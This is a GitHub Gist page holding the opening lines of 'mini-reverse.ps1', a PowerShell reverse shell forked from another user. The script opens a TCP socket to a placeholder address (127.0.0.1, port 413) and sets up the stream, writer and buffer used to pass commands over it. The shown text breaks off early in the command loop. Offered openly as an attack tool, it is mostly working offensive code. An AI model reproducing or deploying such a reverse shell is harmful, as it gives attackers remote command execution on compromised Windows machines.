Skip to content

Instantly share code, notes, and snippets.

View shoeless0x80's full-sized avatar

Shawn Banta shoeless0x80

View GitHub Profile
@shoeless0x80
shoeless0x80 / mini-reverse.ps1
Created April 1, 2020 18:05 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;